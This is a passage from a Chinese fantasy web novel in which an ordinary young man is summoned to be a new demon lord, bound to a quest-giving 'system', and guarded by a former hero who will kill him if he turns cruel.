《这魔王当不了一点》 1. 穿越后的第一件事 暴雨之夜,漆黑的山洞中不断传出金铁交加之声,罡风将洞口的树木轻易斩断,方圆十里的野兽无不噤若寒蝉。 在这样一处无人知晓的角落打斗的二人,一个满身黑,眉眼冷淡,一个一身白,满目皆是肃杀之意。他们皆是年轻人面孔,却身手了得,环境的昏暗对他们似乎毫无影响,纤长的身躯和兵器在狭小的空间中亦能闪转腾挪。白色那方毫无保留、倾力搏杀,招式却被黑色那方轻描淡写地化解,一切余波都被限制在了山洞中,让外界无从窥探分毫。 不会有人知道,在这一晚,最强的人类与最强的魔物,在这样一处随处可见的山洞中,展开了一场赌上世界命运的战斗。 ——然而这场战斗的结果,在一开始就已注定。 铮——! 能斩断巨木的一剑,砍在彼此的兵器上,却只是溅出一阵火花。 轰!! 紧接着,一道从天而降的雷霆劈在洞口,短暂照亮了二人各自的面孔。 雪白的勇者被不知汗水还是雨水打湿了鬓角,平日不染尘埃的盔甲被黑暗力量侵蚀得破碎,本应高高束起的银色长发散乱地披在肩头,让他看上去前所未有的狼狈。他紧绷着唇角,面容一如既往的冷毅,眼中毫无退让、只欲死战到底,唯有剧烈起伏的胸口、以及在拮抗中颤抖的双臂,暴露了他的力有不逮。 而长剑的另一侧,漆黑的魔王全身笼罩在斗篷中,遮住了他的所有特征,仅有一只苍白的手伸出,凭借一枚匕首便轻松格挡住了勇者的剑。猩红色的目光穿过斗篷下的阴影,淡漠地凝视着已是强弩之末的敌人,仿佛在打量砧板上的一块肉。 魔王并无战意,只是单纯防御着勇者的攻击,饶是如此,连续进攻的体力消耗、无时无刻不从魔王身上散发出的威压,已经让勇者初显颓势,但他不敢放弃战斗,因为没有人能猜透魔王的心思,谁也不知道他会不会下一秒就一时兴起,结束这场压倒性的战斗…… 他不敢赌,正如他一开始就没有相信对方的避战之言——是的,这场战斗是由他,而非魔王挑起的,也只能由他来结束! “——喝啊!” 凭借身高优势,勇者大喝一声,将全身重量压在剑上,终于将魔王击飞出去,但对方却在过程中轻飘飘地点了下地,以更快的速度退出了斩击的范围,并一个下腰躲过了剑风的余波,顺势翻身站起,投来好整以暇的眼神。 “……” 勇者喘着气,本能感觉到了异常——魔王手中的匕首不见了。 他警惕着,正欲踏前一步,腰腹间却骤然传来撕裂般的剧痛,他愕然低头看去,那把失踪的匕首赫然插在他的腹部,其中蕴含的黑暗力量比他自己的鲜血更快地喷涌而出,让他的下半身瞬间麻木。 他跪在了地上,早已到达极限的身体再也按捺不住疲劳,即刻丧失了大半力气。他紧紧抓住剑柄,拄着长剑撑住上身,呻吟混合着鲜血一同咽下,不漏出半分,耀眼的金瞳满含杀意。 不会再有转机了,他输了,他清晰地意识到这一点。 脑中没有不自量力的懊悔,只有失败的愤恨,因为挑战魔王本就是勇者的义务,而失去了勇者之剑的他,会输给魔王完全在情理之中。技不如人,丢了性命也无可奈何。 约莫是觉得胜局已定,魔王毫无防备地向跪倒在地的青年走来。勇者本能地意识到这是个机会,试图向其发起最后的冲锋,但他连跪着的姿势都快保持不住了,颤抖着动弹不得,心中对自身无能的怒意更甚。 魔王蹲下身来,这个动作也让他兜帽下那张堪称魔性的面孔真正暴露在了勇者的眼底。 趁着勇者愣神的当口,他抬手直接拔出那柄匕首,出乎意料的是,并没有鲜血流出,不仅如此,勇者甚至感觉到黑暗力量正从自己体内快速褪去,恢复活力的身躯又能积蓄力量了。 “你……”勇者因困惑而瞳孔紧缩,他绷紧全身肌肉,牢牢握住剑柄,不明白这个抬手就能收走自己性命的家伙打的是什么算盘。 魔王缓缓起身,俯视着他,淡淡道:“这样,你应该能冷静下来,好好听我说话了?” 勇者下意识仰起头,脑中闪电般回忆着方才对方的话语,双眼愈发睁大。 他不可置信地迟疑道:“你、刚才说,想让‘魔王’永远消失……是认真的?” 勇者所接受的教育,让他知道魔王能拥有人类般的智力,但魔王总是被毁灭和杀戮的本性控制,其话语没有任何聆听的必要,更别说是那般“我杀我自己”的发言了,但眼前这个能轻易击倒他的、毫无疑问就是魔王的家伙,看上去似乎意外温和。 而且……是真的想去死? 骤然重现的威压感迫使勇者重新低下头,但他倔强地支撑着自己的脖颈,让他看到仿佛有一丝按捺痛苦的神情在魔王脸上闪过。 “当然是认真的。” 魔王的声音难掩疲惫,他慌张地重新低下头,感觉自己的胸腔被心脏“咚咚”撞击着,不由得陷入了更深层、更复杂的迷惑中。 魔王有可能自杀吗?为了什么?难道是为了那些在他眼中与蝼蚁无异的人类?……即使是人,也不见得愿意为同胞牺牲自己的性命,生来邪恶的魔王真的会有那种觉悟吗? “……托你的福,我们已经没有多少时间了。” 稍作缓和后,魔王的声音变回了方才的淡漠,“我要你去做的事只有一件,而你没有拒绝的条件。现在,听好了……” …… 无人知晓魔王与勇者究竟达成了何等协议,但有一件事在人间界掀起了轩然大波——那之后不久,藏在帝国皇宫深处的、一件极为重要的秘宝,失窃了。 这件丑闻并没有得到公开,但皇族和神殿罕有的暴怒态度,还是让混杂了些许事实的八卦传遍了整个帝国:有说一位神偷洗劫了帝国的宝库;有说皇帝与自己的女儿有染,以宝物失窃掩盖话题;有说神殿不满帝国的统治、试图收回神权的象征,从而引爆了矛盾;有说前勇者尤利西斯被迫退位之事与此有关…… 总之,对于皇族究竟失去了一件什么样的宝物,盗走宝物的又是什么人,平民们完全无从知晓,他们沉浸在长久的和平中,对风雨欲来毫无觉察…… …… “咳、咳咳咳……” 仿佛极为突然地被投入到陌生的环境中,喉咙阵阵瘙痒,肺中残存的气体被咳嗽挤出,随后在大口呼吸中重获新生。 吐掉了从旧世界吸来的最后一口空气,叶隐艰难地喘过气来。他后知后觉地察觉到,身下似乎并不是柔软的床铺,触之只有一片坚硬和冰凉。 梦游滚下床了?我睡相有那么差吗?…… 叶隐自我怀疑着,迷迷糊糊地睁开双眼,首先映入眼帘的却是一个极为高大的男人身影。 对方一言不发地矗立在叶隐身边,把他吓得一阵哆嗦,立刻清醒了八分,马上骨碌一下爬起,惊恐道:“你谁?!” “……” 银发金瞳的男人一时无言,默默看着比他矮上了大半个头的叶隐,叶隐看不懂对方的眼神,他的第一反应是:这男的得有一米九了吧!第二反应是:哇靠他长得是不是太帅了一点?! 等等,那都不是重点!重点是……这里根本不是他家啊! 趁着面前的男人沉默的当口,叶隐用余光偷偷环视一圈,发觉附近昏暗无光,借助仅有的几根蜡烛和火把,他发现整间屋子都没有窗户,空气也显得浑浊,像是间地下室,总之完全不是他家……也不像任何他能叫得上名字的地方。 屋子边缘摆着一座座古董般精美的书架,其中塞满了书,书脊上的文字叶隐完全认不得,但看那像几块砖头垒在一起似的厚度就知道,这些书绝对不简单,可无论书还是书架都爬满了蛛网,好似表示屋主完全不在乎这些东西的价值。 此外,他还在角落里看到了一口半人高的坩埚、挂满了一面墙的药草、好几箱叫不出名字但一看就很宝贵的各类零碎……而他本人,则身处这间屋子的中央,被四根高瘦的、点燃的烛台包围着,脚下是一座他不知道象征了什么、但身为宅男不可能不认识的东西——魔法阵。 “……” 巨大的冲击震撼了叶隐,以至于他将面前之人的存在都抛到了脑后,他下意识抱起双臂,在脑中反复琢磨起自己所见这一切事物的含义。 而在他得出那个明明已经有了答案、却迟迟不被他承认的结论之前,一连串冰冷的合成音适时在他脑中响起: 【叮!“魔王系统V1.00”已激活,玩家“叶隐”身份认证完成,系统成功绑定玩家个体的灵魂……魔王系统竭诚为您服务!】 好吧,虽然他猜到穿越会伴随着系统这种东西了……但别乱绑定啊!他对现在的状况还一无所知呢! 还有,哪怕只是过场也好,都不过问一下他本人的意见吗?! 心中咆哮着,叶隐的神情无意识地扭曲了,好在他还保持着不在陌生人面前自言自语的理智,但面前的青年不知为何突然做出了反应,那张冷峻脸在一瞬间竟有融化的倾向。他下意识抬手抓住叶隐的手臂,张了张嘴,低声道:“你……有没有哪里不舒服?” 叶隐茫然仰视着身前的人,不知道他为什么突然说这种话。在他抬头的瞬间,千年冰山般的冷毅像不锈钢一样焊回了青年脸上,而叶隐没有察觉到丝毫不对。 ……他刚才还没细细打量这家伙,现在看来他真是高得夸张。轻薄的布衣也掩盖不住一身流线型的肌肉,一看就是练家子;而且这一头日常生活中完全见不到的、长至及腰的微卷银发,丝缎般的光泽前所未见,也不知打理起来多费工夫,一般人绝对不会把头发保养到这种程度;还有那双比戴了美瞳还夸张的黄金瞳,像在琥珀里装了个灯泡一样发亮……说实话,这家伙真的是人类,而不是魅魔什么的吗? “我很好啊,我应该怎么样吗?” 虽然有被这个陌生男人的美貌惊艳到,但叶隐还是毫不客气地推开了对方的手,抱臂呈防御姿势站定,不肯在与陌生人的交涉中落入下风。 【对待丑陋人类的态度正确,时髦值+1。】 “咳、咳咳!……” 系统莫名其妙的提示音让叶隐被自己的口水呛到了,这男人丑吗?这东西什么审美啊?时髦值又是什么玩意? 然而叶隐不合时宜的咳嗽反倒令青年更加紧张,他不由分说地再次抓住叶隐的手臂,沉声道:“你需要做一次全身检查,跟我来。” “全身检查?!” 叶隐惊恐,但这次没能挣脱丝毫,看来刚才对方是完全没认真,他们之间真实的力量差距恐怕大到惊人,这男人身上多少沾点超自然力量……他胡思乱想着,不想被拖着走,只好跟上对方的脚步,眼神不时朝周围乱瞟。 离开房间后,外面的走廊也没有任何窗户,这里果然在地下,好在并非没有照明,正相反,墙壁上的火炬数量有些惊人,让叶隐不禁怀疑它们是否不会熄灭。走廊两侧还有许多房间,但都肉眼可见地蒙着灰尘,脚下的地毯更是重灾区,而且,整片区域除了二人走在地毯上的微弱脚步声、火焰跳动的轻微嘈杂声以外,没有任何动静,好似这偌大的地方只有他们两个人,让叶隐心里发怵。 “喂,系统。”叶隐悄悄在心里向那个自称系统的东西问话,“你知不知道这是哪里?” 庞大到一眼望不到头的地下构造,而且已经许久未被使用,难以想象地主的财力,地面上该不会有座城堡吧? 系统并没有像个人一样与他交谈,但还是用那冰冷的合成音报告道:【待探索地点:魔王城,地图探索度:1%。请努力探索地图,以获得完成度奖励。】 魔王城?这上面果然是座城堡吧! 说起来,这系统还说自己是“魔王系统”来着,难道这里是无主状态,这个魔王要他来当吗? 叶隐一脸懵逼,完全感觉不到惊喜,更多的是莫名其妙。 说实话,当宅男当到了二十多岁,他也不是没幻想过自己能遇上穿越之类的事情,但现实是,他才来到异世界几分钟,就已经有些想念自己的卧室了——这鬼地方一看就没有电,更不可能有电脑和WIFI,他那一身厨艺在压根不存在泡面的世界里更是没法发挥…… ……咳,再说,魔王这职业,一听就不是好相与的,他一个三好学生、优秀青年,可不打算当什么大反派啊,结局绝对是被勇者之类的家伙砍头吧!他才不要咧! 腹诽时,又是一连串电子音在脑中响起,把还没适应的叶隐震得嗡嗡的: 【叮~系列任务(1/?)发布:这个丑陋的人类显然不是泛泛之辈,且对您掌控欲极强,但身为魔王,怎能郁郁久居人下!】 【系列任务要求:收集这个人类的情报,暗中积蓄力量,对他发起华丽的叛逆!奖励与惩罚暂时隐藏。】 【当前任务要求:了解这个人类的名字和职业。成功奖励:时髦值+1,失败惩罚:真的会失败吗?自裁罢!】 所以说时髦值到底是个什么东西啊?还有,区区系统不要随便吐槽宿主啊! 叶隐内心抓狂,在心中询问系统时髦值的事宜,却没有得到答案,只能悻悻回神,琢磨着怎么对前方这个冷冰冰的男人开口。 他决定先从最近的话题 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青年没有追问,将陷入沉默的叶隐带上三楼,领他进了一间颇为豪华的卧房,单论面积来说,可比叶隐之前的整个家都要大,让他在恍惚中稍微有了一些身为“魔王”的实感。 “今后,这里就是你的房间,没有我的陪伴,你不可以私自离开。” 青年说着,将叶隐拉到沙发前坐下,绒毛垫子的柔软触感让叶隐一下子陷了进去,拼尽全力才没有丢人地呻吟出声。 “放松,我要用神术检查你的身体状况。” 啊,神术?我不是魔王吗……? 叶隐有些胆战心惊,看着对方将掌根搭上自己的额头,脑中一瞬间闪过“我的脑子会不会被烧坏?”的念头,好在那样恐怖的情景并未发生,只有一股暖流经额头流向他的四肢百骸,令他全身舒爽,在他身体各处游走两圈后便被原路返回,吸入了青年的掌根。 叶隐还沉浸在这按摩般的享受中时,青年收回了手掌,说道:“没有明显内外伤,但有不少小毛病……你是不是常常久坐,蔬菜水果吃得少,饮食和睡眠不规律?而且经常…嗯……”他的神情和语气难得出现一丝犹豫,最后什么也没说。 叶隐:“……”哥,你是人形CT吗?别随便揭露宅男的隐私成吗?虽然你把那句话收住了但还是好羞耻啊! “这和你有关系吗?”他有些僵硬地说道,神情略显不善,“在你做那些无所谓的交代前,我们能不能先交涉一下,我来到这鬼地方的前因后果?你在其中又扮演了什么角色?” “好,我会说明。”青年的表情没什么波动,开门见山道:“简单来说,你已经不在之前的世界了,有人召唤了你,让你来成为新的魔王。” “这说明倒是直白。”叶隐点头,“‘魔王’这个概念我大概能理解,不过还是请你解释一下吧,为什么选了我?这魔王是非有人当不可吗?” 青年平静道:“关于魔王,我无法给你准确的说明,因为我对此也知之甚少。” 其实,在与魔王战斗之前,他都自以为很了解魔王这种生物——从成为勇者开始,他就不停学习魔王有记录的一切历史,学习他们的能力、弱点、战斗风格,学习如何打败他们……只是,唯独没有学过如何与他们交流。 所有人都认定魔王是不可交流的,而之前那些魔王,大概的确如此,但是……只有“他”,是不一样的。 青年低头凝视着叶隐的面孔,心想——那么,他也会是如此吗? “那……” “但我还是能回答你的两个问题。”青年瞬间收敛起心思,转而道,“其一,选择你,是因为非你不可;其二,是的。” 顿了顿,他一口气说了目前为止最长的一段话:“魔王不是唯一的,他们都是被魔王之血选中的宿主。魔王会死,但魔王之血不灭,因此魔王每隔几十年就会重新出现,而绝大部分魔王既强大,又残暴无比,与人类文明一山不容二虎,人与魔的生存之战已持续了上百年,死伤者不计其数……总之,我希望找到一条一劳永逸的道路,而目前的方法,就是让一位能够完美控制魔王之血的人,来当这个魔王。” 叶隐大致听明白了,这“魔王”比他想象中也没差多少,反正就是那套嘛,人类的死敌什么的…… 但理解和接受是两码事,他指了指自己,不可思议道:“你确定我有那个能耐?我只是个普通人!” 青年冷淡道:“我无意了解你在原本的世界是什么人,现在的你也的确做不到控制魔王之血,但你有那样的潜质,这毋庸置疑,因为你回应了召唤阵的呼唤……而我的使命就是帮助你掌控魔王之力,以及在那之前保护你。” “哦……”叶隐点了点头,青年的话很不客气,但反而印证了他的客观,“等等,冒昧问一下,你是人还是魔?” 青年不着痕迹地皱了皱眉,斩钉截铁道:“我是人类!” 叶隐听出了他话语中的不愉快,想必是为自己被与魔物相提并论而气愤,不过那不是他关心的重点。 “作为人类,却来保护魔王,不会有点奇怪吗?”叶隐严肃问道,“你在人类那边是什么身份地位,国王?还是王子?你能代替所有人类做这个决定吗?……还是说,你是孤身一人、一意孤行?你知道这意味着什么吗?” “我孤身一人,我只代表我自己,我会为我的一切所作所为负责。”青年语气平淡,却铿锵有力,“我不是国王,也不是王子。我曾经是为了讨伐魔王而生的勇者,但如今只是一个渴望和平的战士……我的名字是‘尤利西斯’!” 他顿了顿,向叶隐伸出手,询问道:“你呢,魔王?你的名字是?” 【叮~当前任务完成!解锁目标人物真名:前勇者·尤利西斯,获得奖励:时髦值+1。】 “……” 叶隐惊恐地仰望着面前这个似乎一把就能摁死他的家伙,他刚刚还在担心当魔王会不会被勇者砍头呢,结果勇者就在面前啊!!——虽然带了个“前”字,但也是勇者啊! “你……”叶隐咽了咽口水,忽然感觉被这家伙的阴影笼罩着非常没有安全感。他挪了挪身体,按捺住腿肚子的哆嗦,强装镇定地试探道:“万一我做不到呢?万一我变得和之前那些魔王一样残暴……” “如果你拒绝按我的指导行事,只想为所欲为,或是我认定你绝对无法掌控魔王之血……”尤利西斯缓缓收回伸出的手,他的回答毫不犹豫,双目炯炯有神,“我会在你彻底觉醒前,杀了你。” 叶隐:“!” 这魔王真是当不了一点!! 2. 魔是铁 唯恐天下不乱似的,在尤利西斯表态的同时,系统的提示音也响了起来: 【叮~新任务发布:丑陋的人类竟敢对您出言不逊,让魔王威严扫地?!今天他必须跪下来承认自己是您的仆人!】 【任务要求:让尤利西斯亲口对您喊出“主人”。成功奖励:觉醒度+1,失败惩罚:陷入临时疯狂1小时。】 叶隐麻了,一个尤利西斯就够难满足的了,这个该死的魔王系统还在这等着呢! “觉醒度又是什么东西?”他询问系统。 系统回道:【觉醒度达到100时,您将成为完全的魔王。】 那不是完全的负面数据吗!这东西能拿来当奖励?!叶隐心中咆哮。 尤利西斯对叶隐才能的肯定并不能让他自己认同,毕竟他直到刚刚从地下室醒来前都只是个普通大学生,对自己身上潜藏的特质没有任何实感,哪怕到了现在,他都还觉得自己是个人类,和魔王什么的没半点关系呢! 总之,哪怕尤利西斯不阻拦,他也绝对不会想变成劳什子完全体魔王,万一他真变成对方所说的“过去那些魔王”一样残暴,那他就不再是他了,也永远不可能回家了,所以说——觉醒度的什么的还是滚一边儿去吧! “好啊,你叫我一声‘主人’,我就答应你。”叶隐面无表情地对尤利西斯道。 “……?” 尤利西斯脸上闪过一丝迟疑,他无从揣摩叶隐的想法,还以为对方是认真的,便也认真道:“不,我们不是那样的关系。” “好,正确的,应该的。”叶隐点了点头。 他本就笃定尤利西斯不会答应,听到了想要的答案,便放松地往垫子上仰躺下去,在心中对系统道:“任务失败,你该干嘛干嘛吧。” 不知是否是叶隐的摆烂出乎预料,系统可疑地停顿了一会儿,随后发出宣告: 【当前任务失败!激活惩罚:陷入临时疯狂1小时,正在随机抽取疯狂症状……】 叶隐也不知道这惩罚具体会怎样,反正只有一小时,应该折磨不死他,而且,虽然他还没和尤利西斯达成一致,但对方应该不至于看着他把自己作死。 他倒要看看,道貌岸然的尤利西斯愿意为了自己这个陌生人做到什么地步—— 【……您抽中的疯狂症状为:饥饿恐惧症!】 ……昂? 叶隐傻眼了,但还没等他反应过来,一种蠕动的饥饿感就开始从胃部沿着脊椎往上爬。起初只是轻微的饿,但在几秒内就迅速发展到仿佛一整天没进食的程度,而且似乎还在不断激发他骨子里更加疯狂的食欲……他当初连吃一个月泡面的时候都没有这么难受! 见叶隐躺倒下去,随后抬手抵住肚子,一脸痛苦,尤利西斯登时神情一紧,上前将叶隐的身体放平,摸上他的小腹,急道:“你怎么了?这里难受吗?” 神术也不是万能的,何况他本就不是专职的神官,检查不出病根的情况也是存在的,那么,究竟是什么问题—— “我、我……”叶隐嘴角抽搐,痛苦呻吟道:“我…饿!……我好饿啊!!” “……”银发青年的神情一瞬间有些裂开。 他反复确认叶隐的确只是饿了,然后松了口气,拿来一层薄被给叶隐盖上,道:“我这就去准备食物,你在这休息,我会尽快回来。” 尤利西斯在两分钟内就带着面包赶了回来,他重新推开卧室门的时候,叶隐已经把被子掀到了一边,正以趴在沙发上的姿势啃沙发角,饿得两眼无神。 “这个不能吃!”尤利西斯连忙将叶隐的牙从沙发上掰开,然后将面包撕碎喂进他嘴里,鼻间的麦香味让叶隐立刻有了精神,三两下就把一整块吐司吃下了肚。 “……还是…好饿!” 叶隐痛苦地摸着自己的肚子,他感觉东西应该是吃进去了,但饥饿感并没有变弱。他盯着尤利西斯白皙有力的手臂,仿佛幻嗅到了油脂的香味,口水从嘴角滴了下来…… 尤利西斯将叶隐的脑袋强行掰过来与他对视,一字一句地、极为严肃地警告道:“绝对、不能、吃人!” “唔唔……”叶隐已经饿得听不清尤利西斯的话了,无意识地张口含住对方的手指,口水流了他一手,含糊道:“饿……让唔吃……” “……” 尤利西斯意识到了,叶隐这恐怕并不是正常的饥饿,可他从未听说过类似的疾病或是诅咒,更别说是发生在魔王身上了。 他略一迟疑,既然暂时没有解决方法,也只能先满足了对方的食欲再说:“我再去弄点吃的,你撑住!” 这次叶隐等了更久,迟迟等不来食物,他快被腹中的饥饿感折磨疯了,一个翻身就从沙发上掉了下来,跌跌撞撞地走向房门,最后左脚绊右脚摔倒在了门边,再也没力气爬起。 不知过了多久,一缕肉香将叶隐从半昏迷中唤醒。他的意识还没有完全清醒,感动和渴望的眼泪就流了下来,身体率先闻着味爬起,然后一只手圈住他的腰将他提起,把他放在了一张矮桌前。 鼻间的香气愈发复杂浓郁,叶隐终于迷糊着睁开半双眼,下意识伸出左手就要抓取食物,但那只手被另一只手闪电般握了住,进退两难。 “张嘴。”一个柔和的声音说道。 “……唔!” 食物直接盛在勺中喂进了叶隐嘴里,他的双眼随着咀嚼愈发睁大,腹中让人发疯的饥饿感竟奇迹般地削减了下去,让他渐渐清醒了过来。 叶隐一回神,就看到尤利西斯正坐在矮桌对面,用勺子给他喂食。将口腔中的胡椒肉粒又嚼了几下后,他终于回过味儿来,脸登时涨红了,“你……勺给我,我自己吃!” 尤利西斯顺从地转过勺子,叶隐直接端起盘子往嘴里扒,没一会儿就干完了一桌子饭菜。 “呼——” 终于感到满足的叶隐喘了口气,后怕地摸了摸鼓起的肚子,他这辈子都不想再体会那种能生生把人饿疯的感觉了!这傻〇系统,至于吗?! “你一直有这种…状况吗?”尤利西斯皱着眉问道,“还是说,你只是单纯太久没吃东西了?” 以现代人的标准而言,叶隐算不上健康,但阅历丰富的尤利西斯见过太多饿殍,相比之下,叶隐还远远算不上营养不良,不像能把自己饿成这样的人,所以,他更倾向于认为这是某种疾病或诅咒,或者时空魔法的某些未知副作用…… 【警告:不得向任何人泄露系统的存在,违者将面临严重惩罚!】 “嗯……没关系,别太在意。”叶隐疲惫地叹了口气,“应该不会再出现这种情况了,至少短期内……”他想了想,补充道:“不过还是可能会出现其他情况,到时候大概还要麻烦你。” 他摆出一副面瘫脸,实则内心已经洪水滔天——可恶的系统,别以为这样的惩罚就能让他屈服!反正有人擦屁股,作点小死又何妨?总比拉着全人类一起作大死要好吧! 逼着他干不想干的事,反而不给甜头给大棒?!这系统的鬼话谁爱信谁信,这魔王谁爱当谁当吧!老子才不奉陪咧!! “我需要对你的身体状况进行更仔细的评估。”尤利西斯说道,“你来自无人知晓的异世界,没人知道时空穿越会给你带来什么影响,但你不能有任何闪失,你一定要明白这一点。” 叶隐斜睨了貌美青年一眼,说要杀了自己的人不也是他吗? 他的死活在尤利西斯眼中其实没有什么所谓,这点他很清楚。只有会被魔王的存在影响的普通人,才是尤利西斯真正的关心对象,他是为了保护那些人才走上了这条不被认可的荆棘之路,何等以身饲魔的大义啊,他都要感动哭了!——如果他现在不是魔王,而是被对方保护的人类的话。 “刚才还没来得及自我介绍……总之,我叫叶隐,二十一岁。”叶隐向后一撑,懒散地说道,“我身体基本还算健康,刚才那只是个意外,不过我不能确保类似的意外不再发生。你若真以照顾我为己任,最好做好心理准备,不然万一我‘嘎嘣’一下没了,你在我身上花费的心血就会付之东流,很可惜对吧?” 尤利西斯静静看着他,沉声道:“你似乎不太爱惜自己的生命。” 叶隐坐直身体,摊了摊手,道:“显而易见的,我本没有任何要配合你的义务。”他冷笑着,“把我从原本的家中带到异世界的是你,把我从人类变成魔王的也是你,强调我不能从心所欲的还是你……你从我这里夺走了太多,又什么都没有给我,还要求我表现出一副热爱生活的样子吗?呵呵……” 尤利西斯似乎因为他的话陷入了沉思,良久才抬起头来,“那么,你有什么想要的?” 叶隐道:“我想回家。” 尤利西斯缓缓摇了摇头,“不可能。” 大概是觉得这般直言太过僵硬,微微停顿后,他解释道:“在你从地下室醒来之前,魔王之血已经转移到你体内了,就算回到原本的世界,你也还是魔王,而让你脱离我的视线,只会让你的魔王化进程更加难以抑制和预测;更何况,穿越时空的魔法并不是能够轻易掌握的,至少我对此一窍不通。” “一窍不通?”叶隐托着下巴,“这么说,把我召唤过来的人,并不是你?” “……”像是被戳中死穴似的,尤利西斯陷入沉默。 就在此时,伴随着一声脆响,系统的提示音再次传来: 【叮~系列任务(2/?)发布:丑陋的人类对这个话题避而不谈,他一定在隐藏什么秘密!】 【当前任务要求:了解自己被召唤来此界的前因后果。成功奖励:觉醒度+5,失败惩罚:觉醒度+1。】 啊,出现了,不管成功还是失败都会加觉醒度的任务……叶隐心中吐槽。 这样下去,真的有可能避免觉醒度达到一百吗? 叶隐对此十分怀疑,但也只有走一步看一步了。 他盯着闭口不言的尤利西斯看了一会儿,算是看出来了,与其说对方是打定主意不聊这个话题,不如说他是完全没想好要从何提起——那就还行,他总有一天会愿意开口说的,只要给他一点时间。 “你还有其他想要的吗?”尤利西斯忽然转移话题般说道,“比如,要我当你的仆人?” 叶隐:“……不,刚才我是开玩笑的,忘了那句话吧。” 说实话,尤利西斯这张极具诱导性的脸说出“当你的仆人”这种话,即使并没有那种意思,也是犯规级别的,叶隐在某一瞬间都有些动摇了,好在他凭借坚定的心智拒绝了对方的钓鱼——开玩笑,尤利西斯这种人会心甘情愿地给别人做仆人?他绝对是在试探自己! “虽然不再是勇者了,但我依然是持有帝国爵位的骑士,无法成为任何人的仆人,让你失望了。”尤利西斯平静道,“不过,只是照顾你的生活起居的话,我很擅长,也很乐意。你有什么想要的都可以说,我会尽力满足你。” ……这家伙是认真的吗?他知不知道自己在说什么啊……? 叶隐有点被震撼到,思绪一下子飞向了某些少儿不宜的领域,又很快被他的理性扯了回来。 他清了清嗓子,正色道:“嘛,不用你说,很多事我也只能拜托你的,毕竟你也不允许我独自离开房间,不是吗?” 限制人身自由终归是限制,不能当做不存在,不过,做了十来年宅男的叶隐是久经考验的,只要有水有电有WIFI,他可以靠吃挂面和外卖,足不出户活一年以上。 ——虽说这异世界没自来水没民用电没WIFI,但看在这房间足够大、足够华丽的份上,宅家的新鲜感应该还是能维持一阵子的……反正只要叫上尤利西斯,他也不是不能出门,小事小事。 “说起来,这顿饭是你做的吧?” 叶隐拿起被自己舔得一干二净的木盘子闻了闻,隐约还能闻到油脂和香料混合的香味。 尤利西斯点头,“是的。” “哈,怎么说呢,你真是个厉害的家伙。” 不得不承认,尤利西斯的厨艺至少甩了叶隐八条街,而且刚才那些菜中的大部分都意外符合他的口味,不然也填不满他的食欲,怪不得有自信说出“擅长照顾别人的生活起居”这种话。 上得了厅堂,下得了厨房,这个男人确实有两把刷子,不愧是前勇者。 “好,那我……”叶隐试探道,“我每天都要吃你做的饭!中午一顿,晚上一顿,至少得有今天这顿这么丰盛。” “我本来就是这么打算的,不然你只能啃屋里的盆栽过活了。” 尤利西斯一开口就把叶隐呛了个半死,偏偏他只是在陈述客观事实,让人无从反驳,“不过,早饭呢?你有其他安排?” 叶隐瞪着一双死鱼眼道:“我要睡到中午再起,不吃早饭!” 尤利西斯沉吟了会儿,若有所思地点了点头:“明白了,这是异世界的习俗吧?我会尊重的,直到 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叶隐尴尬道:“你措辞不要那么犀利好不好……” 尤利西斯不理会他的吐槽,接着道:“其一,魔物中也存在极为聪明、会做生意的个体,我听说魔物界与人间界一直有走私的渠道,如果能联系上那些家伙,就能稳定地进货。这件事我会去办,你不用操心。 “其二,走私终归不是长久之计,我们最好还是能够自给自足。你刚才问附近有没有农田,其实是有的,但那些田地一直荒废着,原因有很多。 “魔王之位,其实空缺已久,至少在外面那些魔物看来是这样的。它们虽碍于魔王的威严和结界的存在,不敢随意靠近,给了我们悄悄住在城中的可乘之机,但如果城外的农田被开垦,城堡里住着人的事实立刻就会暴露,到时候就麻烦了。” 叶隐抽了抽嘴角,“原来我们是黑户?如果我真是魔王,难道不能光明正大地入住这里吗?” 尤利西斯解释道:“首先,我是人类,和魔物注定相处不来,它们绝对不会想和我做朋友,而我也只想把它们都杀光。” “嗯…可以理解……” “其次,魔王的确对魔物有天然的威压,魔物绝无可能反抗魔王,但前提是,那位魔王已经是完全体,而非你这样的。” 叶隐意识到了一个严重的问题,“你的意思是……” 尤利西斯接道:“它们大概不会听你的话,而是会想要杀了你吧,毕竟,现在你的比起魔物,其实更接近人类,在它们眼中,和一块玷污了魔王城的污渍也没什么区别。以它们的智商,更多的也理解不了了。” 叶隐咂了咂舌,“一帮蠢货。” 他忽然想起一件事,追问道:“但你刚才不是说,这里不止我们两个人吗?我们还有其他同伴?” 闻言,银发青年微微眯起双眼,眼中的锐利有一瞬间让人难以直视。 “……是同伴,还是敌人,取决于你的选择。”他本就冷淡的语气中多了一丝肉眼可见的排斥,“我和它们不是一路人,它们也没有任何理由支持我的计划,仅仅是现阶段没有选择与我为敌而已……也许身为魔王的你可以与它们相处,但那与我无关。如果你决定把它们都驱逐出去,我会支持你。” 这家伙真的很讨厌魔物啊……叶隐暗暗想着。也不知道如此厌恶魔物的尤利西斯,是怎么想到“培养魔王”这条路子来曲线救国的?他觉得这其中大有文章,大抵与系统所说的、尤利西斯隐藏的“秘密”有关。 不过,好奇归好奇,他可不想触自己衣食父母的霉头,何况这个人有能随时把他剁了的武力值。 “好吧,先不提那些。刚才说的‘第二种方法’,你只讲了情况,还没说要怎么解决呢?” 尤利西斯顷刻间恢复了那张冷漠脸,淡淡道:“刚才我提到,魔王城存在‘结界’,这结界不止一层,而每一层都各有各的用途。结界的核心年久失修,上一任魔王只来得及修好‘隔绝气息’的部分,而据我所知,结界至少还有‘视觉影响’和‘防御’两层。如果你能把结界完全修好,就可以随意控制魔王城在外界看来的面貌,也可以阻止任何好奇心过盛的魔物闯入、从而发现城内有人的秘密,这样我们才能放心开垦城外的农田。” 叶隐听得直蹙眉,“你说的‘结界’,属于‘神术’的范畴吗?我可从来没接触过这东西。” “不,结界是‘魔法’的一种,而魔法与神术是两个概念。”尤利西斯纠正道,“简单来说,魔法是人类自行开发的、一种与天地间元素沟通的技术,而神术是神明的恩赐,只有被选中者可以使用,人类并不知道它的原理。” “对我来说没差啦。”叶隐一副无所谓的样子,“要我学魔法的话,你来当我的老师?除了你也没别人了。” 其实他内心挺激动的,那可是魔法耶!要真能从手心放出火球来,那这异世界也不算白走一遭。不过,叶隐不想在尤利西斯面前表现得对魔法很感兴趣的样子,这样万一他之后学不会,还能以没有兴趣为借口给自己找找退路…… 尤利西斯对叶隐的小心思一无所知,认真回道:“魔法并不是我的强项,而且魔物所使用的魔法,和人类的魔法完全是两个领域,我不保证能帮上忙。不过,只是教导你一些基础知识的话,我可以胜任。” 